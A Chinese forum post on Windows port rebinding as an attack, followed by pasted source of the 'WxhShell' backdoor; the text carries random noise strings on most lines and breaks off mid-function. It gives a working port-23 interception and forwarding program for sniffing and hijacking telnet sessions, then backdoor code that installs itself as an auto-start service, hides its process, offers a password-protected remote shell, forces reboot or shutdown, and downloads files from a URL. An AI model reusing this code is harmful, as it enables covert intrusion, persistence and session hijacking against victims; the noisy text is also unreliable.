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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V6@*\+:3)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;L G %s  
nc3ltT,R  
  saddr.sin_family = AF_INET; &547`*  
BaWQ<T8p8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 60hNCVq%  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?qf:_G  
}[>RxHd  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3{Na ZIk  
'A@qg^e:`  
  这意味着什么?意味着可以进行如下的攻击: [Krm .)  
t4f (Y,v  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 zB#_:(1qK  
LyuSZa]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) MekT?KPQ{L  
( oQ'4,F  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 N{1.g S  
)myf)"l5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  l-<3{!  
jzl?e[qPA  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 aUypt(dv  
.mvB99P{<  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 x[vpoB+c  
g(-;_j!=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Ci]'G>F@"  
t MxsR >sH  
  #include 4*0:bhhhf_  
  #include "XGD:>Q.  
  #include vnz[w=U  
  #include    r+t ,J|V  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |rr$U  
  int main() :dc"b?Ch  
  { c@RT$Q9j  
  WORD wVersionRequested; opm?':Qst  
  DWORD ret; p+orBw3  
  WSADATA wsaData; Z{Vxr*9oO  
  BOOL val; +<pVf%u5  
  SOCKADDR_IN saddr; ;Ay >+M2O  
  SOCKADDR_IN scaddr; TA Ftcs:  
  int err; ~gu=x&{  
  SOCKET s; I*^5'N'  
  SOCKET sc; 44\!PYf7  
  int caddsize; 6N9 c<JC  
  HANDLE mt; b->eg 8|  
  DWORD tid;   1pd 9s8CA  
  wVersionRequested = MAKEWORD( 2, 2 ); ooTc/QEYi  
  err = WSAStartup( wVersionRequested, &wsaData ); #,@bxsB  
  if ( err != 0 ) { tl DY k  
  printf("error!WSAStartup failed!\n"); 6yE'/VB<  
  return -1; ;$vLq&(}  
  } tRLE,(S,-  
  saddr.sin_family = AF_INET; xU@1!%l@  
   _,DO~L  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4cott^K.  
J6*f Uh  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); q}#iV$dAj  
  saddr.sin_port = htons(23); |:./hdcad  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IZO@V1-m  
  { D,c!#(v cK  
  printf("error!socket failed!\n"); JT4wb]kdV  
  return -1; JDkCUN5  
  } :~vxZ*a  
  val = TRUE; 3Bejp+xX  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 A/!<kp{S  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  ci`zR9Ks  
  { ~ct2`M$TL(  
  printf("error!setsockopt failed!\n"); 0z<H(|  
  return -1; Rb)|66&3&  
  } 2$M,*Dnr  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; g.9L)L  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 DH:J  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 E[S? b=^  
Iha[G u  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;xfO16fNk  
  { 3FFaEl  
  ret=GetLastError(); (@+h5@J[`I  
  printf("error!bind failed!\n"); 1hR (N  
  return -1; Y!Drb-U?;  
  } o*X]b]  
  listen(s,2); $50\" mo~z  
  while(1) cC' ~  
  { /dLA`=rZx  
  caddsize = sizeof(scaddr); $ K})Q3FNi  
  //接受连接请求 `AR"!X  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); I6+2>CUGo  
  if(sc!=INVALID_SOCKET) t\zbEN  
  { u+m4!`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ZT6V/MD7T.  
  if(mt==NULL) 0x\2 #i  
  { 7!p LK&_  
  printf("Thread Creat Failed!\n"); @@Q6TB  
  break; [q1Unm  
  } 69Nw/$  
  } f27)v(EJ  
  CloseHandle(mt); Jn=42Q:>  
  } \]I  
  closesocket(s); 8"x9#kyU<3  
  WSACleanup(); (_K_`5d;QI  
  return 0; )Ob]T{GY  
  }   X'f)7RbT  
  DWORD WINAPI ClientThread(LPVOID lpParam) FqwIJ|ct  
  { \ZMP_UU(  
  SOCKET ss = (SOCKET)lpParam; Z ] '>  
  SOCKET sc; Cc!J1)  
  unsigned char buf[4096]; s O=4IBE  
  SOCKADDR_IN saddr; |H W( vA  
  long num; 4@6 <  
  DWORD val; W .U+.hR  
  DWORD ret; je,c7ZFO  
  //如果是隐藏端口应用的话,可以在此处加一些判断 l xe`u}[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   TiyUr [  
  saddr.sin_family = AF_INET; m2(E>raV6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); T6uMFD4 |  
  saddr.sin_port = htons(23); !{(ls<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pA.._8(t  
  { qp>N^)>  
  printf("error!socket failed!\n"); 4d`+CD C  
  return -1; 7Lg7ei2mN7  
  } } Gr&w-v  
  val = 100; n?:2.S.8  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]v\^&7pW  
  { ;'}'5nO=$  
  ret = GetLastError(); &cc9}V)M  
  return -1; mw4JQ\  
  } -w]/7cH  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RDJ+QOVKg  
  { oxfF`L"  
  ret = GetLastError();  <B )   
  return -1; /;l[I=VI  
  } fagM7)x  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #Ao !>qCE  
  { DtI$9`~  
  printf("error!socket connect failed!\n"); `*aBRwvK~  
  closesocket(sc); Lc]1$  
  closesocket(ss); U; U08/y  
  return -1; g*y/j]  
  } O9^T3~x[V  
  while(1) "Zcu[2,  
  { 1`JB)9P  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >3PMnI  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^"x<)@X  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $7NCb7%/L  
  num = recv(ss,buf,4096,0); 'wvMH;}u  
  if(num>0) ;7Okyj6EP  
  send(sc,buf,num,0); uw33:G  
  else if(num==0) t'g^W  
  break; mb1Vu  
  num = recv(sc,buf,4096,0); % 5z gd>  
  if(num>0) DnFjEP^  
  send(ss,buf,num,0); XA{F:%  
  else if(num==0) ` 1+%}}!$u  
  break; VRbQdiZ{  
  } ~}Z'0W)Q`z  
  closesocket(ss); %(<(Y  
  closesocket(sc); aGK@)&h$  
  return 0 ; \uM? S  
  } _TUm$#@Y`  
sbnjy"Z%  
o=_c2m   
========================================================== RlRs}yF  
3vW4<:Lgy  
下边附上一个代码,,WXhSHELL G\=_e8(  
Kkv<"^H  
========================================================== g^l RG3a  
%;|0  
#include "stdafx.h" d1]i,C~Y  
H0>yi[2f  
#include <stdio.h> :(, mL2[  
#include <string.h> fu4!t31  
#include <windows.h> <a|@t@R  
#include <winsock2.h> 8lP6-VA  
#include <winsvc.h> ^DB{qU  
#include <urlmon.h> {@.Vh]  
@AQwr#R"l  
#pragma comment (lib, "Ws2_32.lib") `}fw1X5L  
#pragma comment (lib, "urlmon.lib") %tmp  
(3;@^S4&w  
#define MAX_USER   100 // 最大客户端连接数 zzIr2so  
#define BUF_SOCK   200 // sock buffer Qxa{UQh}9  
#define KEY_BUFF   255 // 输入 buffer D4Etl5k  
(=c1  
#define REBOOT     0   // 重启 gU;&$  
#define SHUTDOWN   1   // 关机 ss iokLE  
& mt)d  
#define DEF_PORT   5000 // 监听端口 ;ME)Og  
y1pu R7  
#define REG_LEN     16   // 注册表键长度 .=c<>/ 0  
#define SVC_LEN     80   // NT服务名长度 *Y6xvib9*  
I7(?;MpI  
// 从dll定义API Vrkf(E3_V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); , ZFE(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (= ;N{u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8P2 J2IU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )Gk`[*q ;  
s_Wyh !@M  
// wxhshell配置信息 F9flSeN  
struct WSCFG { wtH~-xSB|  
  int ws_port;         // 监听端口 XP3x Jm3  
  char ws_passstr[REG_LEN]; // 口令 uQ/h'v  
  int ws_autoins;       // 安装标记, 1=yes 0=no l]6% lud8_  
  char ws_regname[REG_LEN]; // 注册表键名 _}gtcyx  
  char ws_svcname[REG_LEN]; // 服务名 nwmW.(R4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GF$`BGW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9 OT,TpA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N#ioJ^}n:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X+82[Y,mB.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3EK9,:<Cf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u2iXJmM*  
s'\$t  
}; W?Ww2Lo%Y  
>:1P/U  
// default Wxhshell configuration szmmu*F,U:  
struct WSCFG wscfg={DEF_PORT, dl~|Izm  
    "xuhuanlingzhe", se9>.}zZN  
    1, Log|%P\  
    "Wxhshell", S\#17.=  
    "Wxhshell", 'LSz f/w  
            "WxhShell Service", ytAWOt}`  
    "Wrsky Windows CmdShell Service", \6!W05[ Q  
    "Please Input Your Password: ", q3P+9/6  
  1, V 9;[M;  
  "http://www.wrsky.com/wxhshell.exe", 'T8W!&$  
  "Wxhshell.exe" @)6jE!LC  
    }; pv,45z0  
5h{`<W  
// 消息定义模块 +-$Ko fnM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7h9U{4r: M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 19UN*g3(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y1f:?L-z  
char *msg_ws_ext="\n\rExit."; 1;F`c`0<  
char *msg_ws_end="\n\rQuit."; W!L+(!&H  
char *msg_ws_boot="\n\rReboot..."; I]`-|Q E  
char *msg_ws_poff="\n\rShutdown..."; n/4i|-^  
char *msg_ws_down="\n\rSave to "; mY7>(M{  
qxOi>v0\H  
char *msg_ws_err="\n\rErr!"; [1yq{n=  
char *msg_ws_ok="\n\rOK!"; 0JjUAxNq  
v6=-g$FG  
char ExeFile[MAX_PATH]; j2 %^qL  
int nUser = 0; \cJa;WM>  
HANDLE handles[MAX_USER]; Dt|)=a  
int OsIsNt; EHf\L  
`'S0*kMT  
SERVICE_STATUS       serviceStatus; *%5{'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2f~($}+*  
%;xOB^H^  
// 函数声明 ~@W*r5/  
int Install(void); p{$p $/A  
int Uninstall(void); F>hZ{   
int DownloadFile(char *sURL, SOCKET wsh); 0Q5^C!K  
int Boot(int flag); yYZxLJ='  
void HideProc(void); x.mrCJn)  
int GetOsVer(void); cmwPuK$  
int Wxhshell(SOCKET wsl); w n|]{Ww35  
void TalkWithClient(void *cs); 1GCzyBSbb  
int CmdShell(SOCKET sock); 1fU,5+PH  
int StartFromService(void); dtt~ Bd  
int StartWxhshell(LPSTR lpCmdLine); cC{"<fYF  
&HZmQ>!R D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RO(TvZ0pE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D<$XyP  
07v!Zj  
// 数据结构和表定义 l@Z6do  
SERVICE_TABLE_ENTRY DispatchTable[] = ay )/q5  
{ i5}4(sV  
{wscfg.ws_svcname, NTServiceMain}, 5 `D-  
{NULL, NULL}  t+uE  
}; "2ru7Y"  
_HOIT  
// 自我安装 oXsL9,  
int Install(void) E0n6$5Uc?  
{ b \7iY&.C|  
  char svExeFile[MAX_PATH]; l`9t}  
  HKEY key; )FN;+"IJ  
  strcpy(svExeFile,ExeFile); e.d #wyeX  
bpAv1udX-W  
// 如果是win9x系统,修改注册表设为自启动 nAJdr*`a,5  
if(!OsIsNt) { (.Y/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rh*sbZ68>E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1Tp/MV/>  
  RegCloseKey(key); $g9**b@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oPf)be| #  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KL,/2 (  
  RegCloseKey(key); ZD/jX_!t  
  return 0; +0wT!DZW\=  
    } l\0w;:N3  
  } n"Veem[_4g  
} !%(h2]MQ  
else { /UcV  
iSLGwTdLn  
// 如果是NT以上系统,安装为系统服务 ,i9Byx#TN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ga>uFb}W~  
if (schSCManager!=0) ZzGahtx)Y  
{ y m,H@~  
  SC_HANDLE schService = CreateService iRo.RU8>  
  ( 9# 4Y1LS)  
  schSCManager, #FOqP!p.E  
  wscfg.ws_svcname, Cs3^9m6;d  
  wscfg.ws_svcdisp, a 3SlxsWW  
  SERVICE_ALL_ACCESS, F'}'(t+oAm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7R.Q Ql  
  SERVICE_AUTO_START, .R*!aK  
  SERVICE_ERROR_NORMAL, "^j>tii  
  svExeFile, O)|P,?  
  NULL, _9H*agRe  
  NULL, BAj-akc f  
  NULL, #hfuH=&oh  
  NULL, POI.]1i  
  NULL 6DTTV66  
  ); %q ;jVj[  
  if (schService!=0) g:l.MJT  
  { [&[^G25  
  CloseServiceHandle(schService); A5:qKaAq  
  CloseServiceHandle(schSCManager); BaF!O5M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 620%Z*   
  strcat(svExeFile,wscfg.ws_svcname); <:>SGSE9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &GTI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3f Xv4R;!:  
  RegCloseKey(key); \`V$ 'B{.  
  return 0; Qhi '') Q  
    } Y/<lWbj*A  
  } '+>fFM,*B  
  CloseServiceHandle(schSCManager); / O/`<  
} RgdysyB  
}  YpAg  
|'ln?D:&  
return 1; n6d9 \  
} V"o7jsFH6n  
<:FP4e "(  
// 自我卸载 JCcZuwu[  
int Uninstall(void)  9fnA  
{ `O?TUQGR  
  HKEY key; k#Of]mXXz  
N/$`:8"  
if(!OsIsNt) { _-!sBK+F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eivtH P  
  RegDeleteValue(key,wscfg.ws_regname); Ma*y=d;,1  
  RegCloseKey(key); UUKP"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LH 3}d<{  
  RegDeleteValue(key,wscfg.ws_regname); p9U?!L!y  
  RegCloseKey(key); B&+`)E{KB  
  return 0; Yb i%od&  
  } OJN2z  
} ev0oO+u  
} w@-PqsF  
else { X:a`B(@S  
N..j{FE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <}U'V}g  
if (schSCManager!=0) L9Z;:``p  
{ RgorkZlVM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l\AMl \  
  if (schService!=0) _I`,Br:N  
  { /&& 2u7*  
  if(DeleteService(schService)!=0) { do-ahl,  
  CloseServiceHandle(schService); aSuM2  
  CloseServiceHandle(schSCManager); H.<a`m m8  
  return 0; e~ aqaY~}  
  } [3l*F  
  CloseServiceHandle(schService); CM)Q&:  
  } g*)K/Z0pJ$  
  CloseServiceHandle(schSCManager); V@7KsB  
} tt?58dm|  
} kg][qn|>J]  
l kyzNy9R  
return 1; Mypc3  
} &R|/t :DN  
^J Z^>E~  
// 从指定url下载文件 \ \BCcr\l  
int DownloadFile(char *sURL, SOCKET wsh) 9YsR~SM  
{ F62V 3 Xy  
  HRESULT hr; QIN."&qC^  
char seps[]= "/"; ri`R<l8  
char *token; _LAS~x7,  
char *file; HkV1sT  
char myURL[MAX_PATH]; IX: 25CEI2  
char myFILE[MAX_PATH]; 2)#K+O3c  
8Y0"Cejq  
strcpy(myURL,sURL); ~^u16z,  
  token=strtok(myURL,seps); Wk:hFHs3  
  while(token!=NULL) E_F5(x SA  
  { }R3=fbe,\  
    file=token; +$xeoxU>;  
  token=strtok(NULL,seps); mS#zraJn5  
  } ccCzu6  
%N;!+ ;F_g  
GetCurrentDirectory(MAX_PATH,myFILE); Tmh(= TB'  
strcat(myFILE, "\\"); a$"ib  
strcat(myFILE, file); 87 }&`  
  send(wsh,myFILE,strlen(myFILE),0); fP3_d  
send(wsh,"...",3,0); 9_\'LJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6.5T/D*TT  
  if(hr==S_OK) {X2`&<i6  
return 0; BR'I+lQ  
else 2f U$J>Y  
return 1; !zPG? q]3  
"dR |[a<#g  
} KZ!3j_pKy  
-~eJn'W  
// 系统电源模块 mcz+ P |  
int Boot(int flag) f:g,_|JD$  
{ d=,%= @  
  HANDLE hToken; 1h*)@  
  TOKEN_PRIVILEGES tkp; 9ukg}_Hx  
D+ ~_TA  
  if(OsIsNt) { cPgfTT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7r|(}S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q0Nyqhvi  
    tkp.PrivilegeCount = 1; )uv=S;+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _3]][a,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {_(\` >  
if(flag==REBOOT) { iv phlw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n~g)I&  
  return 0; ]zO/A4  
} :16P.z1L  
else { T!wo2EzE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /h v4x9  
  return 0; k3+e;[My+  
} >7!6nF3x,  
  } tb :L\A^:  
  else { %Pksv}  
if(flag==REBOOT) { l5+gsEux]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) izKfU?2]X@  
  return 0; t_ksvWUo  
} Ku&!?m@C  
else { %/>xO3"T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X2tk[Kr  
  return 0; |uW:r17  
} J5h+s-'  
} &V|>dLT>A  
5Z4- Z  
return 1; |QV!-LK  
} jjJ2>3avY  
qQ!1t>j+H  
// win9x进程隐藏模块 Soie^$ Y  
void HideProc(void) {0! ~C=P  
{ {pb>$G:gfx  
/7!""{1\\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @/r^%G  
  if ( hKernel != NULL ) _"4xKh)  
  { GE>[*zN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DK0.R]&4(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7bxA]s{m  
    FreeLibrary(hKernel); \A `hj~  
  } #,{+3Y&5-+  
/ywD{*  
return; 9WJz~SP+vR  
} E~<`/s  
ogFKUD*h&>  
// 获取操作系统版本 uxg9yp@|  
int GetOsVer(void) Le"oAA#[  
{ syip;;  
  OSVERSIONINFO winfo; lnE+Au'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -@>BHC  
  GetVersionEx(&winfo); X-Wz:NA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GE|+fYVM-$  
  return 1; ~[k%oA%W  
  else UD~p'^.m_  
  return 0; $D31Q[p=+  
} T0)"1D<l  
_Lw OOZj  
// 客户端句柄模块 vIvVq:6_3  
int Wxhshell(SOCKET wsl) EQqx+J&!  
{ c*d 9'}E  
  SOCKET wsh; 3:%QB9qc]'  
  struct sockaddr_in client; j@Qg0F  
  DWORD myID; &R~n>>c  
iJnU%  
  while(nUser<MAX_USER) uP\lCqK,  
{ iqnJ~g  
  int nSize=sizeof(client); T]Nu)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?^:h\C^a"  
  if(wsh==INVALID_SOCKET) return 1; &D%(~|'  
>:=|L%]s;\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (;. AS  
if(handles[nUser]==0)  -C#PQV  
  closesocket(wsh); n;R#,!<P  
else ~.%K/=wK@  
  nUser++; *&AfR8x_z  
  } ylKmj]A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >=iy2~Fz,  
4'KOp&#l K  
  return 0; [P |[vWO  
} 1_$xSrwcF  
nN$Y(2ZN  
// 关闭 socket 8Ry74|`=R  
void CloseIt(SOCKET wsh) 5>6PH+Oq  
{ Iqs+r?  
closesocket(wsh); mVtXcP4b  
nUser--; e&eW|E  
ExitThread(0); ;M]C1!D9#  
} yGg,$WM  
E&yD8=vw  
// 客户端请求句柄 crO@?m1  
void TalkWithClient(void *cs) CukC6u b  
{ _WX#a|4h{  
V8=Y@T,  
  SOCKET wsh=(SOCKET)cs; C8a*Q"  
  char pwd[SVC_LEN]; D 71;&G]0  
  char cmd[KEY_BUFF]; (h']a!  
char chr[1]; IPuA#C  
int i,j; `P Xz  
wOB azWa   
  while (nUser < MAX_USER) { LtT\z<bAI  
C1T_9}L-A  
if(wscfg.ws_passstr) { , n !vsIN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a:~@CUD >I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _w@qr\4i=  
  //ZeroMemory(pwd,KEY_BUFF); "QoQ4r<|  
      i=0; j QU"Ved  
  while(i<SVC_LEN) { K!D o8|  
yV)m"j  
  // 设置超时 K; FW  
  fd_set FdRead; <lr*ZSNY  
  struct timeval TimeOut; H7i$xWs  
  FD_ZERO(&FdRead); k {-  
  FD_SET(wsh,&FdRead); u6:pV.p  
  TimeOut.tv_sec=8; =O|c-k,f@  
  TimeOut.tv_usec=0; j?b\+rr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `"vZ);i <  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pIW I  
Es5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KC e13!  
  pwd=chr[0]; M(|   
  if(chr[0]==0xd || chr[0]==0xa) { uGdp@]z&8Q  
  pwd=0; BiE08,nj  
  break; AvR2_  
  } _<ut)G^9  
  i++; DN4#H`  
    } %}2@rLP  
4^6.~6a  
  // 如果是非法用户,关闭 socket 7dihVvL $  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); QbhW!9(,  
} H* !EP  
%/kyT%1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G;gJNK"e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); - ~O'vLG  
I PE}gp  
while(1) { _eLWQ|6Fx  
59(U`X  
  ZeroMemory(cmd,KEY_BUFF); fpM #XFj  
o/ [  
      // 自动支持客户端 telnet标准   ]43[6Im  
  j=0; dsK&U\ej}  
  while(j<KEY_BUFF) { Vbh6HqAHxJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `,wu}F85  
  cmd[j]=chr[0]; PXP`ZLF  
  if(chr[0]==0xa || chr[0]==0xd) { ')+0nPV  
  cmd[j]=0; O?bK%P]ay  
  break; m9M FwfZ  
  } jc_\'Gr+[  
  j++; HOt>}x  
    } E jEFg#q  
<<MjC5  
  // 下载文件 ]O:M$ $  
  if(strstr(cmd,"http://")) { _i}wK?n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L{ gE'jCC  
  if(DownloadFile(cmd,wsh)) ,xJrXPW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rl:KJ\*D  
  else b syq*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G,&%VQ3P>  
  } iNcZ)m/  
  else { 5IVksg  
:lcea6iO  
    switch(cmd[0]) { E]^5I3=O  
  /I&wj^   
  // 帮助 _17|U K|N  
  case '?': { uK*Nu^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z+s%;f;  
    break; @-.? B  
  } Z\X'd_1!  
  // 安装 qZ2&Xw.{1  
  case 'i': { Bt^K]F\  
    if(Install()) ~>ME'D~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %@& a7JOL  
    else OQ_stE2i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +2cs#i  
    break; bggusK<  
    } WoL9V"]  
  // 卸载 ']51jabm  
  case 'r': { #;9H@:N  
    if(Uninstall()) |oKu=/[K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !7lj>BA>  
    else 4h 5_M8I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \Z)1 ?fq  
    break; Uv?'m&_  
    } {sN"( H4$  
  // 显示 wxhshell 所在路径 ~JZ3a0$^  
  case 'p': { l_FGZ!7  
    char svExeFile[MAX_PATH]; a,'Cyv">  
    strcpy(svExeFile,"\n\r"); <2Y0{ 8)  
      strcat(svExeFile,ExeFile); 6=|&tE  
        send(wsh,svExeFile,strlen(svExeFile),0); t\U$8l_;  
    break; 2iXoj&3e  
    } v<rF'D2  
  // 重启 L0Vgo<A  
  case 'b': { W|Ldu;#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Iur9I>8h  
    if(Boot(REBOOT)) vM0_>1nN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f %fa{  
    else { [p;*r)f2}  
    closesocket(wsh); %j]ST D.E  
    ExitThread(0); f|0lj   
    } )@QJ  
    break; "mj^+u-  
    } m$UvFP1>u1  
  // 关机 I/u9RmbU  
  case 'd': { 2JO-0j.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); * UcjQ  
    if(Boot(SHUTDOWN)) eO5ktEoJ  
